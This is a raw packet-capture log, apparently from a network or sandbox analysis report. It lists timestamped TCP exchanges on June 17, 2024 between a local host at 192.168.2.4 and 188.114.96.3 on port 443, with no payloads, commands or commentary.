Jun 17, 2024 16:18:48.095493078 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095695019 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095715046 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095751047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095765114 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095792055 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095815897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095834970 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095875978 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095895052 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095917940 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096112967 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096132994 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096167088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096184015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096206903 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096327066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096339941 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096417904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096417904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096434116 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096633911 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096652985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096687078 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096704006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096786022 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096858978 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096872091 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096910954 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.096923113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.096951008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097074986 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097093105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097150087 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097162962 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097187996 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097281933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097295046 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097333908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097346067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097373009 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097517014 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097532988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097569942 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097583055 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097610950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097834110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097846031 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097886086 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.097898006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.097925901 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098114967 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098134041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098170042 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098181963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098207951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098301888 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098315001 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098352909 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098365068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098392010 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098650932 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098669052 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098706961 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098718882 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098745108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098834991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098849058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098890066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.098902941 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.098929882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.099108934 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099127054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099162102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.099174023 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099200010 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.099723101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099736929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099781036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.099792957 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.099821091 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.100043058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100066900 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100100994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.100105047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100116968 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100128889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.100130081 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100166082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.100178957 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.100208998 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.100225925 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.107868910 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.135982990 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.135999918 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136059046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136131048 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136168003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136193037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136205912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136224985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136261940 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136279106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136303902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136322975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136449099 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136466026 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136504889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136518002 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.136544943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.136564970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210078955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210103989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210159063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210191011 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210199118 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210191011 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210261106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210306883 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210308075 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210412025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210427999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210465908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210489988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210517883 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210789919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210808992 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210841894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.210855007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.210880995 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211030006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211045980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211081028 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211093903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211122036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211195946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211215019 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211266041 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211266994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211281061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211483955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211498022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211555958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211570978 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211714029 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211733103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211766958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.211785078 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.211808920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212066889 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212081909 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212117910 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212130070 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212151051 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212156057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212169886 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212204933 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212220907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212244987 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212408066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212429047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212462902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212481022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212529898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212642908 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212661982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212697029 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212707996 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.212733984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.212989092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213002920 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213044882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213058949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213078022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213083029 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213099957 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213129044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213140965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213166952 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213414907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213432074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213464975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213484049 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213510036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213721991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213741064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213776112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213787079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213805914 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213810921 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213823080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213859081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.213876009 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.213898897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214142084 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214163065 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214196920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214207888 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214229107 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214234114 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214245081 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214276075 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214287996 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214313984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214361906 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214380980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214415073 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214432955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214456081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214854002 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214868069 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214914083 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214926004 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.214950085 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.214992046 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215009928 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215045929 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215059042 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215085030 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215115070 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215128899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215166092 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215183020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215205908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215596914 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215614080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215656996 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215667963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215692043 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215783119 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215797901 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215835094 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215837002 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215852976 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215869904 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215872049 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215909004 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215920925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.215949059 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.215969086 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216202974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216217995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216258049 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216268063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216293097 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216317892 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216320992 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216332912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216356993 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216392040 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216403961 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216430902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216448069 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216506958 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216522932 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216593981 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216593981 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216608047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216645002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.216963053 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.216979027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217017889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217031956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217075109 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217158079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217175007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217206001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217216969 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217242002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217276096 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217324972 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217343092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217379093 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217390060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217412949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217413902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217434883 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217447996 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217459917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217489958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217489958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217514992 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217724085 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217741013 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217776060 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217787027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217811108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217828035 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217828035 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217837095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217861891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217883110 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217894077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217919111 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217937946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.217961073 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.217977047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218013048 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218024015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218046904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218064070 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218394041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218410969 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218449116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218460083 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218480110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218485117 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218524933 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218524933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218535900 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218543053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218575001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218594074 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218626022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218640089 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218677998 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218688011 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218715906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218749046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218784094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218802929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218825102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218867064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.218878984 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.218920946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219073057 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219094038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219127893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219139099 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219163895 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219180107 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219197035 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219198942 CEST	443	49732	188.114.96.3	192.168.2.4
